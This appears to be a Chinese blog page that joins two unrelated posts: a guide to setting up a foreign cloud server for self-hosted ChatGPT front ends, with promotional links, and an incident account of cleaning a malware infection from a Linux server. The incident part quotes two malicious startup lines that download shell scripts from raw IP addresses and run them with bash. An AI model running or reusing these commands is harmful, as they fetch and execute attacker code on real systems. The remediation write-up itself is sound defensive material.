GPT-4通过了waitlist，私信爆了！

Posted 2023-05-25 抗争的小墨

上周发布了这篇文章： gpt4终于通过了waitlist，国内免魔法搞起！！！
几天没看私信，今天一看竟然有30+多！都在询问我
“为什么这么迅速？”
“怎么申请到的”

^_ ， 确实没什么窍门，就是比较早的一批申请下来的吧！我一直对技术比较敏感，所以官方刚刚公布，我就申请了，比较幸运。
不过最近有传言 ，ChatGPT在国内越来越被限制，经常无法访问，木弟子也不稳定，我想终究还是越不过私有化部署，免魔法访问！
今天给大家分享下国内建站的步骤
前置准备

因为我们需要整一个自己的专属服务器，所以我们需要买一个外国的服务器（现在大概是35块钱左右一个月）这也是整个搭建过程中唯一的费用了
需要有官方 api key（用于使用系统）
购买服务器
部署应用
购买服务器

前面我们说到，目前国内直接访问的话需要一个中间的服务器，所以我们可以买一个最便宜的，推荐大家用 腾讯云的。

1 使用微信登录腾讯云

2 选择 【轻量应用服务器】

3 点击新建选择服务器

这个地方一定不要选择 中国 的服务器。。切记，可以在亚太里面选
先点击 【使用容器镜像】，接着选择【Ubuntu....】这个，在接着选择 亚太 东京的，最后在下面有一个否选已读协议的选择框，点一下，最后点击 【立即购买】即可。

4 查看自己的服务器
购买成功之后，根据提示可以跳转到我的服务器的页面，可以在从【第二步】进去，并点击登录

​

5 点击登录后，将用户重新填写成 root ，然后点击登录

部署应用

现在供部署的chatgpt应用太多了，一搜一大把，看看个人需求，以下整理了一些我之前看过的比较好的

1. https://github.com/newbiefly/ChatGPT-MP基于ChatGPT实现的微信小程序。包含前后端，支持AI聊天次数限制，支持分享增加次数等功能。
   2.https://github.com/hncboy/chatgpt-web-javaJava 开发的 ChatGPT 的项目，基于 Spring Boot 3 和 JDK 17，支持 AccessToken 和 ApiKey 模式。
   3.https://github.com/liyupi/yu-auto-replyAI 自动回复工具，支持灵活配置多个平台的监控和回答。目前已支持知识星球自动回复、OpenAI（ChatGPT）自动回答 。
   4.https://github.com/Chanzhaoyu/chatgpt-web用 Express 和 Vue3 搭建的 ChatGPT 演示网页 。
   5.https://github.com/swordintent/wechat-chatbot-server微信公众号后台，集成聊天机器人，目前没有接入chatgpt，但是很方便扩展 。
   6.https://github.com/fuergaosi233/wechat-chatgptchatgpt接入微信。
   7.https://github.com/lencx/ChatGPT桌面版的chatgpt 支持MAC WINDOW LINUX
   8.https://github.com/skydoves/chatgpt-androidandroid 版chatgpt
   9.https://github.com/SCUTlihaoyu/open-chat-video-editor开源的短视频生成和编辑工具

“这里面会遇到一些坑，具体细节我就不说了，都是眼泪”

写到最后
当然小伙伴们如果没有时间、精力、技术，就不要动这个歪心思了
可以直接使用现成的（一样免木弟子，wx登陆）

https://www.chatgpt-future.com.cn/product?type=chatgpt

以下复制：
放几张成果图：

基本做到了官方版重替，最主要免木弟子，很稳定，喜欢的朋友可以随时与我交流。

https://www.chatgpt-future.com.cn/product?type=chatgpt

CPU利用率很高 800%爆了

快下班，问题来了

记一次快下班的记录

快下班了，好友发来了一张照片，如下：

中毒了，没问题，肯定是！！！

开始qq对话解决

**有监控吗，快速查看流量图，看看是否发包或者被发包？**
答曰：没有监控
**那查看一下交换机的接口流量呢？**
答曰：交换机是傻瓜二层的
**那看看防火墙的呢？**
查看流量并没有什么影响。

实在是解决太慢了，而对方的机器是内容，最后通过内容的某太机器，我远程朋友的qq桌面，远程服务器，10分钟后终于连接上了。

开始远程解决问题

1、find / -name cranber* #查看占用cpu文件的位置
2、mv /cranber* /cranber.bak 
                #将发包文件移动位置，让程序启动的时候找不到它。
                本次的文件是在/ 根目录下，具体文件名我就不写出来了。
3、cat /etc/rc.local  
                #查看系统启动文件有没有异常的启动项，结果发现了，如下：
                    #curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm -rf /etc/root.sh.* ; bash /etc/root.sh 
                    #curl http://172.96.252.86/rootv3.sh > /etc/root.sh ; wget -O /etc/root.sh http://172.96.252.86/rootv3.sh ; bash /etc/root.sh 
4、先将这两行 注释掉再说。
5、查看步骤3 下载下来的root开头的文件
            find / -name root*
            显示都是以root.sh开头的 ，如：root.sh、root.sh.1、root.sh.2、
            目录都在/etc下边
6、移动root.sh 开头的文件到随便一个目录
            mkdir /root/bak
            mv /etc/root.sh* /root/bak
7、重启服务器
            目的是通过重启服务器关掉病毒进程，同时查看还有没有别的病毒脚本，在启动的时候跟着系统启动。
8、系统起来之后
            通过top命令查看，系统已经恢复正常，没有什么异常了。又观察了10分钟，并没有什么问题了。
9、修改密码
             这时候应该及时修改 系统密码、数据库密码、以及相关的密码。
10、备份数据
            备份相关的重要数据，以便系统如果被黑到无法恢复的地步，还有后手。

总结

初步判断本次中毒原因为密码被漏扫，暴力破解了。

日常运维
        必须有监控
        必须有监控报警
        必须有密码复杂机制
        必须有密码更新机制
        必须有运维技术能力
        （最关键：人外有人、天外有天、还得有人脉）